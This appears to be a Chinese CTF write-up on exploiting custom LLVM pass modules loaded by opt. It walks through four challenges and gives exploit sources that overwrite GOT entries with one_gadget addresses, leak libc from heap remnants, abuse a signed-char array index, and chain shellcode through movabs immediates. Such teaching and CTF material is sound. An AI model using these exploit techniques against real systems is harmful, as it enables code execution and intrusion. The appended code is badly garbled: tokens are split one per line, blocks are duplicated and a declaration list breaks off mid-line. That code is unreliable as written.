很久没写文章了,本来想像之前发的glibc
那篇总结一样也整理整理musl pwn
,Linux Kernel
和QEMU-Escape
相关笔记的,但是由于自己太懒了,加上又去搞了搞IoT
相关的实战并尝试了下安全开发,就咕咕咕了(后面有空一定补QAQ)。
近期的比赛里出现了两次LLVM PASS PWN
类的题目(CISCN
初赛和强网杯),但是自己又一直摆烂没去研究。最近刚开学还算比较闲,就看了一下LLVM PASS PWN
类的题目,这篇文章就浅浅记录一下自己对此类题目不成熟的总结吧。
LLVM
是C++
编写的构架编译器的框架系统,可用于优化以任意程序语言编写的程序。
LLVM Pass
可用于对代码进行优化或者对代码插桩(插入新代码),LLVM
的核心库中提供了一些Pass
类可以继承,通过实现它的一些方法,可以对传入的LLVM IR
进行遍历并操作。
LLVM IR
即代码的中间表示,有三种形式:
下面给出.ll
格式和.bc
格式生成及相互转换的常用指令清单:
需要安装CTF
题目中常用的三个版本的clang
及LLVM
:
opt
是LLVM
的优化器和分析器,可加载指定的模块,对输入的LLVM IR
或者LLVM
字节码进行优化或分析。CTF
题目一般会给出所需版本的opt
文件(可用./opt --version
查看版本)或者在README
文档中告知opt
版本。安装好llvm
后,可在/usr/lib/llvm-xx/bin/opt
路径下找到对应llvm
版本的opt
文件(一般不开PIE
保护)。

需要注意的是,最好使用题目所给opt
同版本的clang
生成ll
或bc
文件。如:题目所给的文件是opt-8
,就最好使用clang-8 -emit-llvm -S exp.c -o exp.ll
命令。
LLVM PASS
类题目都会给出一个xxx.so
,即自定义的LLVM PASS
模块,漏洞点就自然会出现在其中。我们可以使用opt -load ./xxx.so -xxx ./exp.{ll/bc}
命令加载模块并启动LLVM
的优化分析(其中-xxx
是xxx.so
中注册的PASS
的名称,README
文档中一般会给出,也可以通过逆向PASS
模块得到)。需要注意的是,若题目给了opt
文件,就用题目指定的opt
文件启动LLVM
并调试(如命令./opt-8 ...
),直接使用opt-8 ...
命令是用的系统安装的opt
,可能会和题目所给的有不同。
在打远程的时候,与内核和QEMU
逃逸的题类似:将exp.ll
或exp.bc
通过base64
加密传输到远程服务器,远程服务器会解码,并将得到的LLVM IR
传给LLVM
运行。
参考官方文档:c2dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6D9L8s2k6E0i4K6u0W2L8%4u0Y4i4K6u0r3k6r3!0U0M7#2)9J5c8W2N6J5K9i4c8A6L8X3N6m8L8V1I4x3g2V1#2b7j5i4y4K6i4K6u0W2K9s2c8E0L8l9`.`.
这里魔改了一下官方文档中给出的Hello Pass
,加入了一些CTF
题中常见的LLVM
语法:
通过如下命令,可将其编译为LLVMHello.so
模块:
上述代码中的Hello
结构体继承了LLVM
核心库中的FunctionPass
类,并重写了其中的runOnFunction
函数(一般的CTF
题都是如此)。runOnFunction
函数在LLVM
遍历到每一个传入的LLVM IR
中的函数时都会被调用。
下面解释一下上述代码中的一些常用LLVM
语法:
下面写一个用于测试的程序:
通过clang -emit-llvm -S test.c -o test.ll
命令将其生成为LLVM IR
(笔者本地的clang
版本为10.0.0-4ubuntu1
):
接着,通过opt -load ./LLVMHello.so -Hello test.ll
命令运行,得到如下结果:
读者可结合上述内容再好好理解一下LLVM IR
和LLVM PASS
的相关语法。
一般来说,CTF
题也都像上面的示例程序一样,重写了FunctionPass
类中的runOnFunction
函数,那么拿到一个so
模块,该如何定位到重写的runOnFunction
函数呢?

如上图,用IDA
对so
模块逆向分析,在IDA
中搜索vtable
,定位到虚表后,虚表最后的一项sub_C880
就是重写的runOnFunction
函数,漏洞点一般就在其中。
至于PASS
注册的名称,一般会在README
文件中给出,若是没有给出,可通过对__cxa_atexit
函数“交叉引用”来定位:

例如,上图中圈出的字符串就是此so
模块注册的PASS
名称,不同的so
模块这里显示的可能会略有不同,但都能看出PASS
名称。
当然,由于LLVM
是C++
所写,读者在做LLVM
的题之前,也应当对C++
程序的逆向分析有所了解。
接下来介绍一下如何用gdb
调试LLVM
的题。
首先用gdb
调试opt
并用set args
设置参数传入,然后在main
函数下断点再跑起来即可:

不过,opt
并不会一开始就将so
模块加载进来,而是在下图所示的call
指令(在call
了一堆llvm
初始化相关函数后的第一个call
)执行完之后,才会加载so
模块:

下图圈出来的就是so
模块的基地址(高版本opt
会显示在内存分布表的下方),直接用这个基地址加上对应偏移就可以得到so
模块中的汇编指令地址了,也就能下断点了。

值得一提的是,opt
是通过下面几张图展示的这条调用链来执行重写的runOnFunction
函数的:




用上述介绍的方法确定PASS
名为VMPass
,重写的runOnFunction
函数是sub_6830
。
当函数名为o0o0o0o0
时,会最终进入sub_6B80
函数。

其中,当在o0o0o0o0
函数中调用pop()
,push()
,store()
,load()
,add()
,min()
函数的时候都各自定义了不同的操作。

add()
和min()
是一对函数,会通过第一个参数确定所要操作的全局变量,然后将第二个参数的值加上或减去。

store()
和load()
也是一堆函数,会将两个全局变量中的一个看作地址,并将地址中的值给另一个全局变量(load()
任意地址读漏洞)或是将另一个全局变量中的值存放到这个地址中(store()
任意地址写漏洞)。

由于opt
一般是不会开PIE
保护的,故这里可以考虑先利用任意地址读漏洞通过opt
中任意一个函数的got
表拿到libc
地址,并用add
和min
函数对其修改,再利用任意地址写漏洞来劫持opt
中的某个got
表为one_gadget
即可。
简单说一下如何确定改哪个got
表为one_gadget
能打通:在上文中给出了从main
函数调用到重写的runOnFunction
函数的调用链,我们将<main+11507>
处的call
跳过,之后调用的函数的got
表都能改,调试下如何改能满足one_gadget
条件即可。
笔者测试的环境为Ubuntu 20.04
,对应libc-2.31 9.9
版本,exp
如下:
重写的runOnFunction
函数为sub_19D0
,PASS
名为SAPass
。
首先,由于是小端序,容易看出会对函数B4ckDo0r
进行操作:

但是,接下来的代码比较难看懂。仔细分析后,可以发现其中有大量对LLVM IR
合法性的判断和报错信息的输出,这些其实都是可以去掉的,因为我们正常生成的LLVM IR
都是合法的。
这题反编译的其他一些地方也比较奇怪,可能需要配合一些调试才能搞清楚。
通过调试,可以知道if ( !(unsigned int)std::string::compare(&v89, "save") )
这类语句都是判断是否在B4ckDo0r
中调用了某个函数(如save()
),并对其进行一系列操作。此外,如-1431655765 * (unsigned int)((unsigned __int64)((char *)&v15[3 * v18 + -3 * NumTotalBundleOperands] - v20) >> 3) == 2
这类语句的左侧就是取调用的这个函数的参数个数。
如下对save
函数操作的有效部分中,通过调试可以确定v25
和v30
就是传入的两个参数,之后会将其均复制入分配的0x20
大小的堆块中,由此也可以推断出其类型应该为char *
:

由上图可知,byte_2040f8
是堆块地址,stealkey
会将堆块中的值(首八字节)给byte_204100
变量:

在对stealkey
函数操作的过程中,经调试,此处的getSExtValue
取的是其第一个参数的值,然后会将堆块中原有的值加上这个参数:

最后,很明显,可以通过run
函数,将堆块中的值作为函数指针直接执行:

因此,思路就很显然了,通过申请的堆块中残留的libc
地址加上某个偏移到one_gadget
,然后直接run
就行了。
本机libc
是glibc 2.31-9.9
版本,下个断点在malloc(0x18)
前,查看一下堆块布局:

可见,只要取走tcache
里0x20
的一个堆块,再申请的0x20
的堆块就会从smallbin
里取了,也就会有libc
地址残留了(main_arena+112
)。
由以上分析,可写出如下exp
:
本题重写的runOnFunction
函数为sub_C880
,PASS
名称为ayaka
。
首先,本题会对gamestart
函数进行优化操作:

可以看到在对调用fight
函数的操作中,当score
指针指向的值大于0x12345678
,就可以调用到后门函数:

后门函数如下图,只要控制好cmd
指针指向的字符串,就可以执行任意命令了:

如何触发后门函数呢?weaponlist[]
数组是char
类型的,即单字节,就算比boss
值要大,其差值也不可能大于0x12345678
。
继续往后看,后面逆向也都不难,merge
函数可以将一个weaponlist
的值加到另一个上,destroy
可以将指定weaponlist
清零,upgrade
可以将所有weaponlist
的值都加上某一个数值。
接着,会有四个奇怪的函数,像是拼音,也不知道啥意思:wuxiangdeyidao
,zhanjinniuza
,guobapenhuo
,tiandongwanxiang
可以对cmd
字符串中每个字符都进行同样的操作。由此可以想到,可通过这四个函数对cmd
字符串原有的内容解密成某个命令。
cmd
开始是由src
复制过来的,其中内容如下所示:

可以看到其中第二个和第七个字符一样,而那四个函数每次又是对所有字符做同样的操作,因此不难联想到最后解密成的命令很可能是cat flag
,写个脚本爆破一下即可。不过这题实际上也不用如此,继续对后面进行分析就知道了。
后面就是一个else
条件分支,也就是说当调用的函数不是上面提及的所有函数的时候,就会进入这个分支。这里用了C++ STL
里的map
,map
可在任意类型的值之间建立映射关系,并且会按关键字从小到大排序。如:map["abc"] = 123
就将abc
这个字符串与123
这个数值间建立了映射关系,并且在通过迭代器遍历map
的时候,关键字abc
会在关键字abd
之前遍历到。

在这个else
分支中,会先遍历map
,查找是否有调用的这个函数名作为key
,其第一个参数作为value
的映射关系。若是有,则会将weaponlist[]
数组下标对应map
中此映射关系位置的值改为这个value
。若没有,则会将这个新映射关系加入map
中。
我们注意到,此处的v33
是有符号的char
类型,其范围是-128~127
,故当map
中映射关系很多的时候,v33
会是负数,此处也就存在一个数组下标越界的漏洞了。

如上图,可以看到cmd
指针和score
指针都在weaponlist
之前,故可以通过这个数组下标越界漏洞,修改score
指针的最后一字节,使其错位,从而指向很大的数字,触发后门函数。
由于opt
没开PIE
保护,故直接将cmd
指针指向opt
中的某个字符串末尾的sh
即可:

最终,可写出exp
如下:
这题没去符号,重写的runOnFunction
函数就叫'anonymous namespace'::MBAPass::runOnFunction
,LLVM PASS
的名称是mba
。
首先,很容易注意到如下几行代码:

先是将this[4]
段的权限改为可读可写,然后执行handle
函数,再将此段权限改为可读可执行,然后执行callCode
函数:

这里直接执行了this[4]
段上的shellcode
。
通过调试,可以知道this[4]
段初始化全是0xc3
,也就对应ret
指令。因此,思路其实很显然,通过handle
函数,往this[4]
段上写入shellcode
,然后跳转执行即可。此题对函数名没有要求,任何函数都能被同样地进行这些操作。

如上图,这题是倒序对基本块中的指令进行处理的,getTerminator
函数是取末尾的指令,第一个if
判断末尾指令的第一个操作数是否是常数,第二个else if
判断末尾指令的第一个操作数是否为函数的参数,如果都不是,说明是变量,那就进入到最后else
的分支。
先分析一下出题人自定义的几个往this[4]
段写汇编指令的函数:
1.writeMovImm64函数

很明显,this[5]
是存放着目前汇编指令写到了何处的指针。当writeMovImm64
函数的第二个参数为0
时,写入的汇编指令是0x480xB8
加上第三个参数作为立即数,当writeMovImm64
函数的第二个参数为1
时,写入的汇编指令是0x480xBB
加上第三个参数作为立即数。

测试了一下,得到writeMovImm64(this, 0, val)
是写入movabs rax, val
指令,writeMovImm64(this, 1, val)
是写入movabs rbx, val
指令,其中val
可以是八字节数,共十字节。
2.writeInc函数
同理,可分析出是写入inc rax
指令,三字节。
3.writeOpReg函数
同理,可分析出是写入add rax, rbx
指令,三字节。
4.writeRet函数
同理,可分析出是写入ret
指令,一字节。
再回到else
分支中,首先写入了movabs rax, 0
指令,v30
是this[4]
段首地址加上0xff0
后的地址,定义了两个C++ STL
的stack
,其中v25
存放一个数,之后可用来控制正负,初始值为1,v26
存放着操作数,首先压进栈了最后一条指令ret i64 %xxx
中的操作数xxx
(即一个变量)。然后进入了一个while
循环,当写入的汇编指令长度大于0xff0
就会退出循环,或者当v26
的栈为空时,会写入一个ret
指令,然后跳转循环。

然后,在while
循环中,每次会弹出两个栈的栈顶元素,然后再通过v26
栈弹出的变量,找到LLVM IR
中对应这个变量操作的指令行。接着,获取了这行指令的操作符,只能为13
(add
)或15
(sub
),这个在/usr/include/llvm-xx/llvm/IR/Instruction.def
可查到。之后,又取了这行指令的两个操作数,如果操作数val
是常数:若为±1
,则写入inc rax
指令,否则写入movabs rbx, val(*v22); add rax, rbx
指令,其中v22
是从v25
栈顶取出的数,默认为1
。如果操作数不是常数也非参数,就说明是个变量,那么就压入栈中。

如果操作符是sub
,那么就将从v25
栈顶取出的数v22
取反,然后再执行一遍上述过程,这样之后加上第二个操作数val
乘上v22
的结果就相当于减去val
了。
至此,本题核心部分基本都逆向完成了。然而,我们只能往this[4]
段写入指定的几个指令,没法直接写入可拿到权限的shellcode
。注意到,当我们往this[4]
段写入超过0xff0
长度几个字节也是可以的,不过在写完之后会直接退出while
循环,也就不会在最后写入ret
指令了,但是由于this[4]
段初始都是ret
指令,占一个字节,所以即使有字节超出,最后仍然是ret
指令,执行完写入的汇编指令也可以回去,进行第二次汇编指令的读入。
于是我们想到,可以第一次先向this[4]
段写入0xff0
个字节加上超过几个字节,让超过的几个字节中存在某个跳转指令,然后第二次再向this[4]
段写入指令到第一次超出的字节中的跳转指令之前,这样最后就能成功执行第一次超出字节中的跳转指令了。
这里我们采用短跳转指令(jmp short xxx
)比较方便,其中xxx
是相对于这条短跳转指令的偏移(范围是-128~127
),也就是无条件跳转到此偏移的位置。jmp short
对应的机器码是0xEB
,后面再加上一个字节的偏移(负数用补码)即可,一个短跳转指令共两个字节。
我们肯定是想最后跳转到shellcode
上的,但是shellcode
改写在哪里呢?我们可控的部分只有每条movabs rbx, xxx
指令中xxx
位置的八个字节,于是我们可以在这些地方写入一行行的shellcode
,并用nop
空指令补全六位以后,在之后写上两个字节的短跳转指令,跳转到下一行shellcode
即可,这样就能顺利地执行到任意shellcode
了,如下图:

至于具体的构造方式,其实随意怎么样都行,这里就不展开说了,直接给出生成shellcode
的脚本:
由于这题的LLVM IR
中指令的操作符只能是add
或sub
,故不能用C
语言直接编译生成LLVM IR
文件,不然会有很多其他的操作符。所以建议先用C
语言写两个空函数,再通过clang-12
对其编译生成ll
文件,然后直接在ll
文件中仿照之前的题目手写LLVM IR
即可。
最终写出的exp.ll
如下:
.c
-
> .ll:clang
-
emit
-
llvm
-
S a.c
-
o a.ll
.c
-
> .bc: clang
-
emit
-
llvm
-
c a.c
-
o a.bc
.ll
-
> .bc: llvm
-
as a.ll
-
o a.bc
.bc
-
> .ll: llvm
-
dis a.bc
-
o a.ll
.bc
-
> .s: llc a.bc
-
o a.s
.c
-
> .ll:clang
-
emit
-
llvm
-
S a.c
-
o a.ll
.c
-
> .bc: clang
-
emit
-
llvm
-
c a.c
-
o a.bc
.ll
-
> .bc: llvm
-
as a.ll
-
o a.bc
.bc
-
> .ll: llvm
-
dis a.bc
-
o a.ll
.bc
-
> .s: llc a.bc
-
o a.s
sudo apt install clang
-
8
sudo apt install llvm
-
8
sudo apt install clang
-
10
sudo apt install llvm
-
10
sudo apt install clang
-
12
sudo apt install llvm
-
12
sudo apt install clang
-
8
sudo apt install llvm
-
8
sudo apt install clang
-
10
sudo apt install llvm
-
10
sudo apt install clang
-
12
sudo apt install llvm
-
12
/
/
Hello.cpp
using namespace llvm;
namespace {
struct Hello : public FunctionPass {
static char
ID
;
Hello() : FunctionPass(
ID
) {}
bool
runOnFunction(Function &F) override {
errs() <<
"Hello: "
;
errs().write_escaped(F.getName()) <<
'\n'
;
SymbolTableList<BasicBlock>::const_iterator bbEnd
=
F.end();
for
(SymbolTableList<BasicBlock>::const_iterator bbIter
=
F.begin(); bbIter !
=
bbEnd;
+
+
bbIter){
SymbolTableList<Instruction>::const_iterator instIter
=
bbIter
-
>begin();
SymbolTableList<Instruction>::const_iterator instEnd
=
bbIter
-
>end();
for
(; instIter !
=
instEnd;
+
+
instIter){
errs() <<
"OpcodeName = "
<< instIter
-
>getOpcodeName() <<
" NumOperands = "
<< instIter
-
>getNumOperands() <<
"\n"
;
if
(instIter
-
>getOpcode()
=
=
56
)
{
if
(const CallInst
*
call_inst
=
dyn_cast<CallInst>(instIter)) {
errs() << call_inst
-
>getCalledFunction()
-
>getName() <<
"\n"
;
for
(
int
i
=
0
; i < instIter
-
>getNumOperands()
-
1
; i
+
+
)
{
if
(isa<ConstantInt>(call_inst
-
>getOperand(i)))
{
errs() <<
"Operand "
<< i <<
" = "
<< dyn_cast<ConstantInt>(call_inst
-
>getArgOperand(i))
-
>getZExtValue() <<
"\n"
;
}
}
}
}
}
}
return
false;
}
};
}
char Hello::
ID
=
0
;
/
/
Register
for
opt
static RegisterPass<Hello> X(
"Hello"
,
"Hello World Pass"
);
/
/
Register
for
clang
static RegisterStandardPasses Y(PassManagerBuilder::EP_EarlyAsPossible,
[](const PassManagerBuilder &Builder, legacy::PassManagerBase &PM) {
PM.add(new Hello());
});
/
/
Hello.cpp
using namespace llvm;
namespace {
struct Hello : public FunctionPass {
static char
ID
;
Hello() : FunctionPass(
ID
) {}
bool
runOnFunction(Function &F) override {
errs() <<
"Hello: "
;
errs().write_escaped(F.getName()) <<
'\n'
;
SymbolTableList<BasicBlock>::const_iterator bbEnd
=
F.end();
for
(SymbolTableList<BasicBlock>::const_iterator bbIter
=
F.begin(); bbIter !
=
bbEnd;
+
+
bbIter){
SymbolTableList<Instruction>::const_iterator instIter
=
bbIter
-
>begin();
SymbolTableList<Instruction>::const_iterator instEnd
=
bbIter
-
>end();
for
(; instIter !
=
instEnd;
+
+
instIter){
errs() <<
"OpcodeName = "
<< instIter
-
>getOpcodeName() <<
" NumOperands = "
<< instIter
-
>getNumOperands() <<
"\n"
;
if
(instIter
-
>getOpcode()
=
=
56
)
{
if
(const CallInst
*
call_inst
=
dyn_cast<CallInst>(instIter)) {
errs() << call_inst
-
>getCalledFunction()
-
>getName() <<
"\n"
;
for
(
int
i
=
0
; i < instIter
-
>getNumOperands()
-
1
; i
+
+
)
{
if
(isa<ConstantInt>(call_inst
-
>getOperand(i)))
{
errs() <<
"Operand "
<< i <<
" = "
<< dyn_cast<ConstantInt>(call_inst
-
>getArgOperand(i))
-
>getZExtValue() <<
"\n"
;
}
}
}
}
}
}
return
false;
}
};
}
char Hello::
ID
=
0
;
/
/
Register
for
opt
static RegisterPass<Hello> X(
"Hello"
,
"Hello World Pass"
);
/
/
Register
for
clang
static RegisterStandardPasses Y(PassManagerBuilder::EP_EarlyAsPossible,
[](const PassManagerBuilder &Builder, legacy::PassManagerBase &PM) {
PM.add(new Hello());
});
clang `llvm
-
config
-
-
cxxflags`
-
Wl,
-
znodelete
-
fno
-
rtti
-
fPIC
-
shared Hello.cpp
-
o LLVMHello.so `llvm
-
config
-
-
ldflags`
clang `llvm
-
config
-
-
cxxflags`
-
Wl,
-
znodelete
-
fno
-
rtti
-
fPIC
-
shared Hello.cpp
-
o LLVMHello.so `llvm
-
config
-
-
ldflags`
...
HANDLE_OTHER_INST(
56
, Call , CallInst )
/
/
Call a function
...
...
HANDLE_OTHER_INST(
56
, Call , CallInst )
/
/
Call a function
...
/
/
test.c
int
main()
{
char name[
0x10
];
puts(
"Please tell me your name:"
);
read(
0
, name,
0x10
);
printf(
"Hello: "
);
write(
1
, name,
0x10
);
}
/
/
test.c
int
main()
{
char name[
0x10
];
puts(
"Please tell me your name:"
);
read(
0
, name,
0x10
);
printf(
"Hello: "
);
write(
1
, name,
0x10
);
}
; ModuleID
=
'test.c'
source_filename
=
"test.c"
target datalayout
=
"e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple
=
"x86_64-pc-linux-gnu"
@.
str
=
private unnamed_addr constant [
26
x i8] c
"Please tell me your name:\00"
, align
1
@.
str
.
1
=
private unnamed_addr constant [
8
x i8] c
"Hello: \00"
, align
1
; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @main()
%
1
=
alloca [
16
x i8], align
16
%
2
=
call i32 @puts(i8
*
getelementptr inbounds ([
26
x i8], [
26
x i8]
*
@.
str
, i64
0
, i64
0
))
%
3
=
getelementptr inbounds [
16
x i8], [
16
x i8]
*
%
1
, i64
0
, i64
0
%
4
=
call i64 @read(i32
0
, i8
*
%
3
, i64
16
)
%
5
=
call i32 (i8
*
, ...) @printf(i8
*
getelementptr inbounds ([
8
x i8], [
8
x i8]
*
@.
str
.
1
, i64
0
, i64
0
))
%
6
=
getelementptr inbounds [
16
x i8], [
16
x i8]
*
%
1
, i64
0
, i64
0
%
7
=
call i64 @write(i32
1
, i8
*
%
6
, i64
16
)
ret i32
0
}
declare dso_local i32 @puts(i8
*
)
declare dso_local i64 @read(i32, i8
*
, i64)
declare dso_local i32 @printf(i8
*
, ...)
declare dso_local i64 @write(i32, i8
*
, i64)
attributes
attributes
!llvm.module.flags
=
!{!
0
}
!llvm.ident
=
!{!
1
}
!
0
=
!{i32
1
, !
"wchar_size"
, i32
4
}
!
1
=
!{!
"clang version 10.0.0-4ubuntu1 "
}
; ModuleID
=
'test.c'
source_filename
=
"test.c"
target datalayout
=
"e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple
=
"x86_64-pc-linux-gnu"
@.
str
=
private unnamed_addr constant [
26
x i8] c
"Please tell me your name:\00"
, align
1
@.
str
.
1
=
private unnamed_addr constant [
8
x i8] c
"Hello: \00"
, align
1
; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @main()
%
1
=
alloca [
16
x i8], align
16
%
2
=
call i32 @puts(i8
*
getelementptr inbounds ([
26
x i8], [
26
x i8]
*
@.
str
, i64
0
, i64
0
))
%
3
=
getelementptr inbounds [
16
x i8], [
16
x i8]
*
%
1
, i64
0
, i64
0
%
4
=
call i64 @read(i32
0
, i8
*
%
3
, i64
16
)
%
5
=
call i32 (i8
*
, ...) @printf(i8
*
getelementptr inbounds ([
8
x i8], [
8
x i8]
*
@.
str
.
1
, i64
0
, i64
0
))
%
6
=
getelementptr inbounds [
16
x i8], [
16
x i8]
*
%
1
, i64
0
, i64
0
%
7
=
call i64 @write(i32
1
, i8
*
%
6
, i64
16
)
ret i32
0
}
declare dso_local i32 @puts(i8
*
)
declare dso_local i64 @read(i32, i8
*
, i64)
declare dso_local i32 @printf(i8
*
, ...)
declare dso_local i64 @write(i32, i8
*
, i64)
attributes
attributes
!llvm.module.flags
=
!{!
0
}
!llvm.ident
=
!{!
1
}
!
0
=
!{i32
1
, !
"wchar_size"
, i32
4
}
!
1
=
!{!
"clang version 10.0.0-4ubuntu1 "
}
Hello: main
OpcodeName
=
alloca NumOperands
=
1
OpcodeName
=
call NumOperands
=
2
puts
OpcodeName
=
getelementptr NumOperands
=
3
OpcodeName
=
call NumOperands
=
4
read
Operand
0
=
0
Operand
2
=
16
OpcodeName
=
call NumOperands
=
2
printf
OpcodeName
=
getelementptr NumOperands
=
3
OpcodeName
=
call NumOperands
=
4
write
Operand
0
=
1
Operand
2
=
16
OpcodeName
=
ret NumOperands
=
1
Hello: main
OpcodeName
=
alloca NumOperands
=
1
OpcodeName
=
call NumOperands
=
2
puts
OpcodeName
=
getelementptr NumOperands
=
3
OpcodeName
=
call NumOperands
=
4
read
Operand
0
=
0
Operand
2
=
16
OpcodeName
=
call NumOperands
=
2
printf
OpcodeName
=
getelementptr NumOperands
=
3
OpcodeName
=
call NumOperands
=
4
write
Operand
0
=
1
Operand
2
=
16
OpcodeName
=
ret NumOperands
=
1
/
/
clang
-
8
-
emit
-
llvm
-
S exp.c
-
o exp.ll
void add(
int
num,
long
long
val);
void
min
(
int
num,
long
long
val);
void load(
int
num);
void store(
int
num);
void o0o0o0o0()
{
add(
1
,
0x77E100
);
load(
1
);
min
(
2
,
0x9a6d0
);
add(
2
,
0xe3afe
);
add(
1
,
0x870
);
store(
1
);
}
/
/
clang
-
8
-
emit
-
llvm
-
S exp.c
-
o exp.ll
void add(
int
num,
long
long
val);
void
min
(
int
num,
long
long
val);
void load(
int
num);
void store(
int
num);
void o0o0o0o0()
{
add(
1
,
0x77E100
);
load(
1
);
min
(
2
,
0x9a6d0
);
add(
2
,
0xe3afe
);
add(
1
,
0x870
);
store(
1
);
}
/
/
clang
-
8
-
emit
-
llvm
-
S exp.c
-
o exp.ll
void save(char
*
a, char
*
b);
void stealkey();
void fakekey(
long
long
x);
void run();
void B4ckDo0r()
{
save(
"\n"
,
"\n"
);
save("
", "
\n");
stealkey();
fakekey(
-
0x1ecbf0
+
0xe3afe
);
run();
}
/
/
clang
-
8
-
emit
-
llvm
-
S exp.c
-
o exp.ll
void save(char
*
a, char
*
b);
void stealkey();
void fakekey(
long
long
x);
void run();
void B4ckDo0r()
{
save(
"\n"
,
"\n"
);
save("
", "
\n");
stealkey();
fakekey(
-
0x1ecbf0
+
0xe3afe
);
run();
}
/
/
clang
-
8
-
emit
-
llvm
-
S exp.c
-
o exp.ll
void winmt000(
int
x);
void winmt001(
int
x);
void winmt002(
int
x);
void winmt003(
int
x);
void winmt004(
int
x);
void winmt005(
int
x);
void winmt006(
int
x);
void winmt007(
int
x);
void winmt008(
int
x);
void winmt009(
int
x);
void winmt010(
int
x);
void winmt011(
int
x);
void winmt012(
int
x);
void winmt013(
int
x);
void winmt014(
int
x);
void winmt015(
int
x);
void winmt016(
int
x);
void winmt017(
int
x);
void winmt018(
int
x);
void winmt019(
int
x);
void winmt020(
int
x);
void winmt021(
int
x);
void winmt022(
int
x);
void winmt023(
int
x);
void winmt024(
int
x);
void winmt025(
int
x);
void winmt026(
int
x);
void winmt027(
int
x);
void winmt028(
int
x);
void winmt029(
int
x);
void winmt030(
int
x);
void winmt031(
int
x);
void winmt032(
int
x);
void winmt033(
int
x);
void winmt034(
int
x);
void winmt035(
int
x);
void winmt036(
int
x);
void winmt037(
int
x);
void winmt038(
int
x);
void winmt039(
int
x);
void winmt040(
int
x);
void winmt041(
int
x);
void winmt042(
int
x);
void winmt043(
int
x);
void winmt044(
int
x);
void winmt045(
int
x);
void winmt046(
int
x);
void winmt047(
int
x);
void winmt048(
int
x);
void winmt049(
int
x);
void winmt050(
int
x);
void winmt051(
int
x);
void winmt052(
int
x);
void winmt053(
int
x);
void winmt054(
int
x);
void winmt055(
int
x);
void winmt056(
int
x);
void winmt057(
int
x);
void winmt058(
int
x);
void winmt059(
int
x);
void winmt060(
int
x);
void winmt061(
int
x);
void winmt062(
int
x);
void winmt063(
int
x);
void winmt064(
int
x);
void winmt065(
int
x);
void winmt066(
int
x);
void winmt067(
int
x);
void winmt068(
int
x);
void winmt069(
int
x);
void winmt070(
int
x);
void winmt071(
int
x);
void winmt072(
int
x);
void winmt073(
int
x);
void winmt074(
int
x);
void winmt075(
int
x);
void winmt076(
int
x);
void winmt077(
int
x);
void winmt078(
int
x);
void winmt079(
int
x);
void winmt080(
int
x);
void winmt081(
int
x);
void winmt082(
int
x);
void winmt083(
int
x);
void winmt084(
int
x);
void winmt085(
int
x);
void winmt086(
int
x);
void winmt087(
int
x);
void winmt088(
int
x);
void winmt089(
int
x);
void winmt090(
int
x);
void winmt091(
int
x);
void winmt092(
int
x);
void winmt093(
int
x);
void winmt094(
int
x);
void winmt095(
int
x);
void winmt096(
int
x);
void winmt097(
int
x);
void winmt098(
int
x);
void winmt099(
int
x);
void winmt100(
int
x);
void winmt101(
int
x);
void winmt102(
int
x);
void winmt103(
int
x);
void winmt104(
int
x);
void winmt105(
int
x);
void winmt106(
int
x);
void winmt107(
int
x);
void winmt108(
int
x);
void winmt109(
int
x);
void winmt110(
int
x);
void winmt111(
int
x);
void winmt112(
int
x);
void winmt113(
int
x);
void winmt114(
int
x);
void winmt115(
int
x);
void winmt116(
int
x);
void winmt117(
int
x);
void winmt118(
int
x);
void winmt119(
int
x);
void winmt120(
int
x);
void winmt121(
int
x);
void winmt122(
int
x);
void winmt123(
int
x);
void winmt124(
int
x);
void winmt125(
int
x);
void winmt126(
int
x);
void winmt127(
int
x);
void winmt128(
int
x);
void winmt129(
int
x);
void winmt130(
int
x);
void winmt131(
int
x);
void winmt132(
int
x);
void winmt133(
int
x);
void winmt134(
int
x);
void winmt135(
int
x);
void winmt136(
int
x);
void winmt137(
int
x);
void winmt138(
int
x);
void winmt139(
int
x);
void winmt140(
int
x);
void winmt141(
int
x);
void winmt142(
int
x);
void winmt143(
int
x);
void winmt144(
int
x);
void winmt145(
int
x);
void winmt146(
int
x);
void winmt147(
int
x);
void winmt148(
int
x);
void winmt149(
int
x);
void winmt150(
int
x);
void winmt151(
int
x);
void winmt152(
int
x);
void winmt153(
int
x);
void winmt154(
int
x);
void winmt155(
int
x);
void winmt156(
int
x);
void winmt157(
int
x);
void winmt158(
int
x);
void winmt159(
int
x);
void winmt160(
int
x);
void winmt161(
int
x);
void winmt162(
int
x);
void winmt163(
int
x);
void winmt164(
int
x);
void winmt165(
int
x);
void winmt166(
int
x);
void winmt167(
int
x);
void winmt168(
int
x);
void winmt169(
int
x);
void winmt170(
int
x);
void winmt171(
int
x);
void winmt172(
int
x);
void winmt173(
int
x);
void winmt174(
int
x);
void winmt175(
int
x);
void winmt176(
int
x);
void winmt177(
int
x);
void winmt178(
int
x);
void winmt179(
int
x);
void winmt180(
int
x);
void winmt181(
int
x);
void winmt182(
int
x);
void winmt183(
int
x);
void winmt184(
int
x);
void winmt185(
int
x);
void winmt186(
int
x);
void winmt187(
int
x);
void winmt188(
int
x);
void winmt189(
int
x);
void winmt190(
int
x);
void winmt191(
int
x);
void winmt192(
int
x);
void winmt193(
int
x);
void winmt194(
int
x);
void winmt195(
int
x);
void winmt196(
int
x);
void winmt197(
int
x);
void winmt198(
int
x);
void winmt199(
int
x);
void winmt200(
int
x);
void winmt201(
int
x);
void winmt202(
int
x);
void winmt203(
int
x);
void winmt204(
int
x);
void winmt205(
int
x);
void winmt206(
int
x);
void winmt207(
int
x);
void winmt208(
int
x);
void winmt209(
int
x);
void winmt210(
int
x);
void winmt211(
int
x);
void winmt212(
int
x);
void winmt213(
int
x);
void winmt214(
int
x);
void winmt215(
int
x);
void winmt216(
int
x);
void winmt217(
int
x);
void winmt218(
int
x);
void winmt219(
int
x);
void winmt220(
int
x);
void winmt221(
int
x);
void winmt222(
int
x);
void winmt223(
int
x);
void winmt224(
int
x);
void winmt225(
int
x);
void winmt226(
int
x);
void winmt227(
int
x);
void winmt228(
int
x);
void winmt229(
int
x);
void winmt230(
int
x);
void winmt231(
int
x);
void winmt232(
int
x);
void winmt233(
int
x);
void winmt234(
int
x);
void winmt235(
int
x);
void winmt236(
int
x);
void winmt237(
int
x);
void winmt238(
int
